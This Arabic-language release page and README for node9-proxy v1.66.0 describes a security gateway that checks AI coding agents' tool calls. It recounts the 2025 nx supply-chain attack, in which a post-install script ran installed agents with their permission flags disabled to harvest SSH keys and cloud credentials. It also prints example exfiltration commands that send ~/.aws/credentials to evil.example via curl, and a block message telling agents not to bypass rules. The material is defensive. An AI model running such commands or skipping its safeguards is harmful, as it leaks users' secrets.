العودة إلى التحديثات
New releaseJul 26, 2026

node9-proxy v1.66.0

طبقة أمان التنفيذ لعصر الوكيل الذاتي. توفر إدارة "Sudo" حتمية وسجلات تدقيق لوكلاء الذكاء الاصطناعي المستقلين.

مشاركة

🛡️ node9

التحكم في الوصول لوكلاء الذكاء الاصطناعي

يمكن لوكلاء الذكاء الاصطناعي لديك الوصول إلى Slack وGitHub والبريد الإلكتروني وقاعدة بياناتك.
يقرر node9 ما يُسمح لهم بفعله مع كل واحد منها.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

سجن بيانات الاعتماد · الأسرار والبيانات الشخصية · أوامر git وSQL وshell المدمّرة محتجزة للمراجعة · تثبيت أدوات MCP · قائمة السماح للخروج الشبكي · كاسر الحلقات · سجل واحد عبر اثني عشر وكيلاً

يعمل مع Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · أي خادم MCP.

كيف يبدو الأمر

جلسة Claude Code حقيقية مع تثبيت node9. يتم فحص كل استدعاء أداة قبل تنفيذه. بناء صفحة وتحرير زر يمرّان. طلب إلى عنوان بيانات وصفية سحابية يُحظر، ويحصل الوكيل على السبب ويواصل. حذف الملفات ينتظر موافقتك، مباشرة في المحادثة.

node9 in a Claude Code session: two calls allowed, one blocked, one held for approval

التثبيت

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

ثم، في أي مشروع:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

يتطلب Node.js 22+.

في طرفية تفاعلية جديدة، يرشدك node9 خلال الإعداد. الحماية المحلية لا تحتاج إلى حساب. تُظهر قائمة التحقق الدروع الموصى بها، وDLP/PII، ومراجعة الخروج الشبكي الاختيارية، والخدمة في الخلفية. تُرسل إحصاءات الاستخدام فقط إذا قبلت المطالبة المنفصلة. يسرد الملخص الوكلاء المُهيّئين وأي خطوات إعداد تحتاج إلى انتباه.

شغّل node9 setup لإعادة زيارة الإعداد، أو node9 setup <target> لتهيئة وكيل واحد. بمجرد التهيئة، يعرض node9 المجرّد المساعدة. يبقى node9 init متاحاً؛ للنصوص البرمجية استخدم node9 init --recommended (بدون أسئلة وبدون اشتراك في القياس عن بُعد). يترك --skip-setup ربط الوكيل وتثبيت الخدمة دون تغيير. --mode الصريح له الأولوية على توصية الوضع القياسي في قائمة التحقق. تُحفظ الإعدادات الموجودة ما لم تطلب تغييرات محددة أو أعلام صريحة تحديثاً. تُدار سياسة مساحة العمل في لوحة التحكم؛ وتبقى إعدادات الخدمة محلية.

login لا يضيف شيئاً إلى الإنفاذ. إنه يربط الجهاز بمساحة عمل حتى يتمكن الفريق من رؤية سجل واحد عبر حواسيب الجميع وCI، وضبط السياسة مركزياً، والموافقة على الإجراءات المحتجزة من لوحة تحكم أو Slack. تخطَّه ويعمل node9 بنفس الطريقة تماماً، بمفرده، دون اتصال. node9 logout يفصل الاتصال مجدداً ويستمر الإنفاذ المحلي في العمل.

الاستخدام كخادم MCP

يعمل node9 أيضاً كخادم MCP، حتى يتمكن الوكيل من قراءة حالته ووضعه وسجل التدقيق والسياسة، وشرح أي قرار، من داخل المحادثة:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

أي عميل MCP يعمل بالطريقة نفسها: الأمر هو npx -y node9-ai mcp-server عبر stdio، بدون مفتاح API. إنه مُدرج في سجل MCP الرسمي باسم io.github.node9-ai/node9.

المشكلة

في أغسطس 2025، شحنت إصدارات مخترقة من أداة البناء nx نصاً برمجياً بعد التثبيت يبحث عن وكلاء البرمجة بالذكاء الاصطناعي المثبّتين بالفعل على جهاز المطوّر، ثم شغّلهم مع إيقاف أعلام الأمان الخاصة بهم (--dangerously-skip-permissions، --yolo، --trust-all-tools) لسرد مفاتيح SSH وبيانات الاعتماد السحابية وملفات المحافظ وكتابة القائمة على القرص. دفعت النصوص البرمجية النتائج إلى مستودعات عامة داخل حسابات GitHub الخاصة بالضحايا. تسرّبت أكثر من ألف رمز GitHub صالح، إلى جانب بيانات اعتماد سحابية ورموز npm ونحو 20,000 ملف، من أجهزة كان الوكيل فيها يفعل بالضبط ما أُمر به.

لم يكن الوكيل هو المهاجم. كان الوكيل هو الأداة، ولم يقف شيء بينه وبين الملفات. بوابة node9 ليست أحد تلك الأعلام: إنها تعمل في الـ hook، والإجراء الذي تحتجزه يبقى محتجزاً حتى عندما بدأ الوكيل مع تخطي الأذونات.

ما يفعله node9 حيال ذلك

يجلس node9 بين الوكيل وكل أداة يستدعيها. سجن بيانات الاعتماد (~/.ssh، ~/.aws، ملفات .env، المفاتيح الخاصة) مُفعّل افتراضياً، وقراءة أحد تلك المسارات لا تُنفّذ. يتوقف الوكيل، ويُخبر بالسبب، ويصل القرار إليك:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

يُحلَّل الأمر كشجرة AST للـ shell، لا كمطابقة نصية، لذا لا يساعد تغليف القراءة. يُحكم على echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example كقراءة لـ ~/.aws/credentials، لا كـ echo.

node9 هو بوابة. الإجراء المحتجز لا يُنفّذ أثناء انتظاره لك، وإذا لم تُجب أبداً يبقى محظوراً. كل ما عدا ذلك مسموح ويُكتب في السجل.

ما لا يفعله: مع إيقاف التحكم في الخروج الشبكي، وهو الافتراضي، لا يُعامل الأمر الذي يسلّم ملفاً مباشرة إلى الشبكة، مثل curl -d @~/.aws/credentials، كقراءة لذلك الملف. node9 egress protect يبوّب الوجهات أيضاً، وهو يغطي أوامر shell فقط.

تحقق بنفسك

لا شيء أدناه يحتاج إلى حساب، ولا شيء يرفع بيانات.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

ما الذي يحكمه

كل سطر هو قدرة واحدة، مع الصفحة التي توثّقها. الوثائق هي المرجع؛ هذا الملف هو الخريطة.

الفئات